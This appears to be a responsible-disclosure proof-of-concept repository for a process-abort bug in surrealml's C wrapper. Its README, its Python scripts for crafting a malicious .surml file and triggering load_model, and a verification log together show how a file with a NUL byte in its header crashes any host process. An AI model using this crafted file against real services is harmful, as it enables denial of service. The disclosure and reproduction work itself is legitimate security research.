Upload 5 files

README.md

@@ -0,0 +1,51 @@
+---
+tags:
+  - security
+  - proof-of-concept
+  - surrealml
+---
+
+# SurrealML process-abort PoC (`load_model` / embedded NUL byte)
+
+This repository contains a proof-of-concept `.surml` file for a responsibly-disclosed
+vulnerability in [`surrealdb/surrealml`](https://github.com/surrealdb/surrealml) (tested at commit
+`152ac2d508f1bae9ee62c46b7d211d80e40a6425`), reported via huntr's Model File Vulnerability
+program.
+
+## What this file is
+
+`malicious_nul_name.surml` is a syntactically valid (but minimal) SurrealML container: a 4-byte
+big-endian header-length prefix, a header whose `name` field is the literal string
+`evil\x00name` (a raw embedded NUL byte, all other header fields left empty/fresh), and 16 bytes
+of placeholder model data. It follows exactly the header format documented and unit-tested in the
+project's own `modules/core/src/storage/header/mod.rs`.
+
+## What happens when you load it
+
+```python
+import ctypes
+lib = ctypes.CDLL("libc_wrapper.so")  # or .dll / .dylib
+lib.load_model(b"malicious_nul_name.surml")
+```
+
+`load_model()` reads and parses the file successfully (the header format tolerates an embedded
+NUL byte fine), then panics while converting the `name` field to a C string
+(`CString::new(name).unwrap()` at `modules/c-wrapper/src/api/storage/load_model.rs:124`), since a
+`CString` cannot represent an interior NUL byte. Because `load_model` is a plain `extern "C" fn`
+rather than `extern "C-unwind"`, this panic aborts the entire host process — it cannot be caught
+as an exception by a Python/Node/etc. caller, and no error result is ever returned.
+
+A single ~65-byte file is enough to kill any process that calls `load_model()` on it — no
+inference, no other API call required.
+
+See the reporter's full write-up submitted via huntr for the complete technical analysis, the
+related prior-art discussion (GitHub issue
+[surrealdb/surrealml#20](https://github.com/surrealdb/surrealml/issues/20), a similar
+"malformed file crashes the whole server" report from 2024 that was reopened after an incomplete
+fix), and a second, unrelated finding (a use-after-free in the Python client's `to_bytes()`).
+
+## Scope note
+
+This PoC is provided solely for the purpose of responsible vulnerability disclosure and
+reproduction by the `surrealml` maintainers / huntr triage team. It is not intended for any other
+use.

craft_malicious_surml.py

@@ -0,0 +1,27 @@
+"""
+Construye a mano un fichero .surml malicioso con un byte NUL embebido en el campo `name`
+del header, replicando exactamente el formato documentado/testeado en
+modules/core/src/storage/header/mod.rs (test_to_bytes) y surml_file.rs (from_file):
+  [4 bytes big-endian: longitud del header] + [header UTF-8, campos separados por "//=>"] + [bytes del modelo]
+
+Header::to_bytes() serializa 11 elementos unidos por "//=>":
+  "", keys, normalisers, output, name, version, description, engine, origin, input_dims, ""
+Un header "fresh" (vacio) es exactamente "//=>//=>//=>//=>//=>//=>//=>//=>//=>//=>" (10 delimitadores).
+Aqui solo se rellena el campo `name` (indice 4) con un valor que contiene un 0x00 interior.
+"""
+import struct
+
+parts = ["", "", "", "", "evil\x00name", "", "", "", "", "", ""]
+header_str = "//=>".join(parts)
+header_bytes = header_str.encode("utf-8")
+
+model_bytes = b"\x00" * 16  # contenido de modelo irrelevante para este PoC
+
+out_path = "malicious_nul_name.surml"
+with open(out_path, "wb") as f:
+    f.write(struct.pack(">I", len(header_bytes)))
+    f.write(header_bytes)
+    f.write(model_bytes)
+
+print(f"Escrito {out_path} ({len(header_bytes)} bytes de header + {len(model_bytes)} bytes de modelo)")
+print(f"header_str repr: {header_str!r}")

trigger_load_model_abort.py

@@ -0,0 +1,40 @@
+"""
+Llama a load_model() de la libc_wrapper.dll recien compilada sobre el fichero .surml
+malicioso (malicious_nul_name.surml, generado por craft_malicious_surml.py) para confirmar
+si el proceso aborta (Candidato 1 de focus-02-c-wrapper-ffi.md) en vez de devolver un
+FileInfo con is_error=1.
+
+Se ejecuta como proceso HIJO separado (ver run_trigger.py) precisamente porque si el bug es
+real, este proceso Python entero morira sin excepcion capturable.
+"""
+import ctypes
+from ctypes import Structure, c_char_p, c_int
+import os
+
+DLL_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "repo", "target", "release", "c_wrapper.dll"))
+
+
+class FileInfo(Structure):
+    _fields_ = [
+        ("file_id", c_char_p),
+        ("name", c_char_p),
+        ("description", c_char_p),
+        ("version", c_char_p),
+        ("error_message", c_char_p),
+        ("is_error", c_int),
+    ]
+
+
+lib = ctypes.CDLL(DLL_PATH)
+lib.load_model.argtypes = [c_char_p]
+lib.load_model.restype = FileInfo
+
+print("Antes de load_model() -- si el proceso muere aqui sin imprimir la linea de abajo, "
+      "confirma el abort no capturable.")
+outcome = lib.load_model(os.path.abspath("malicious_nul_name.surml").encode("utf-8"))
+print("DESPUES de load_model() -- NO abortó.")
+print(f"is_error={outcome.is_error}")
+if outcome.is_error:
+    print(f"error_message={outcome.error_message.decode('utf-8', errors='replace')}")
+else:
+    print(f"file_id={outcome.file_id}, name={outcome.name}")

verification-log.txt

@@ -0,0 +1,22 @@
+=== NUL byte in .surml header name field aborts the whole process via load_model() ===
+Command: python craft_malicious_surml.py && python trigger_load_model_abort.py
+Working dir: targets/surrealml/verify/
+Built artifact: targets/surrealml/repo/target/release/c_wrapper.dll (cargo build -p c-wrapper --release,
+commit 152ac2d508f1bae9ee62c46b7d211d80e40a6425)
+
+Escrito malicious_nul_name.surml (49 bytes de header + 16 bytes de modelo)
+header_str repr: '//=>//=>//=>//=>evil\x00name//=>//=>//=>//=>//=>//=>'
+
+=== ahora disparando load_model() en un proceso hijo ===
+
+thread '<unnamed>' (19392) panicked at modules\c-wrapper\src\api\storage\load_model.rs:124:35:
+called `Result::unwrap()` on an `Err` value: NulError(4, [101, 118, 105, 108, 0, 110, 97, 109, 101])
+note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
+fatal runtime error: Rust panics must be rethrown, aborting
+EXIT CODE: 127
+
+Interpretation: the child process died with "fatal runtime error: Rust panics must be rethrown,
+aborting" -- no FileInfo{is_error:1} was ever returned, no Python exception was raised, the
+"DESPUES de load_model()" line was never printed. A single ~65-byte crafted .surml file (49-byte
+header + 16-byte model) with one embedded 0x00 byte in the model `name` field is enough to abort
+the entire host process calling load_model(), before any inference/compute step.